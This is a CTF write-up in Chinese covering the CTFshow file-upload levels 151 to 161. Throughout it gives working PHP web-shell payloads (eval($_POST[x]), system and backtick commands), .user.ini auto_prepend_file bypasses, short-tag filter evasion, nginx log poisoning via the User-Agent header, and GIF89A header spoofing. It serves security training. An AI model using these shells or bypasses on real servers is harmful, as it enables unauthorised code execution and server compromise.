PHP-nginx-ctfShow文件上传漏洞

CTFSHOW-文件上传-151到161关卡

151 152-JS验证+MIME

Content-Type: image/png

153-JS验证+user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini:auto_prepend_file=test.png

test.png:<?php eval($_POST[x]);?>

154 155-JS验证+user.ini+短标签

<? echo '123';?> //前提是开启配置参数short_open_tags=on

<?=(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

156 JS验证+user.ini+短标签+过滤

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST{x});?>

157 158 159 JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:<?=system('tac ../fl*')?>

test.png:<? echo `tac /var/www/html/f*`?>

160 JS验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

161 JS验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>

151关(修改前端代码即可)

后门代码:<?php eval($_POST[x]);?>

post:x=system('ls');

修改前端代码

上传包含后门代码的php文件

通过POST提交指令x=system('tac ../flag.php');

152关(修改content-type类型,上传PHP文件)

通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type

继续修改前端代码。抓包,修改信息

153关(.user.ini包含1.png自动执行)

使用到了.user.ini的文件配置漏洞

.user.ini实际上就是一个可以由用户“自定义”的php.ini

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中

.user.ini : auto_prepend_file=1.png

1.png : <?php eval($_POST[x]);?>

post : x=system('tac ../flag.php');

.user.ini 父目录中是自动带有index.php

154关(<?php eval($_POST[x]);?> 换为<?=eval($_POST[x]);?>

当内容检测中,过滤了<?php ?>,可以使用一下方法

<? echo '123';?> //前提是开启配置参数short_open_tags=on

<?=(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; </script> //不需要修改参数开关

这一关过滤的php,所以<?php eval($_POST[x]);?> 换为<?=eval($_POST[x]);?>

 

 

155关

和154关的过关方法是一样的

发现存在过滤

156关(前端修改代码无效,上传后门代码)

过关方法:

  1. png:<?=eval($_POST{x});?>

  1. 直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag

发现存在内容检测过滤

但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试

157关(过滤了php字段,通过*代替了php)

过关方法:

  1. png:<?=system('tac ../flag.*')?>

  2. 直接访问/upload/ 显示flag

自动执行了代码<?=system('tac ../flag.*')?>

158关

和157关的方法是一样的

159关(过滤了PHP执行命令,反括号代替执行命令)

过关方法:1.png:<?= `tac ../fl*` ?>

.user.ini:auto_prepend_file=1.png

直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload

160关(通过访问日志记录的读取,.user.ini的文件包含执行)

解题方法:

  1. png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>

  2. .user.ini : auto_prepend_file=1.png

 

可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚

成功拿到flag

161关(修改内容-文件类型)

发现什么内容也无法上传

发现限制了文件类型内容,内容加GIF89A

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

大飞先生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值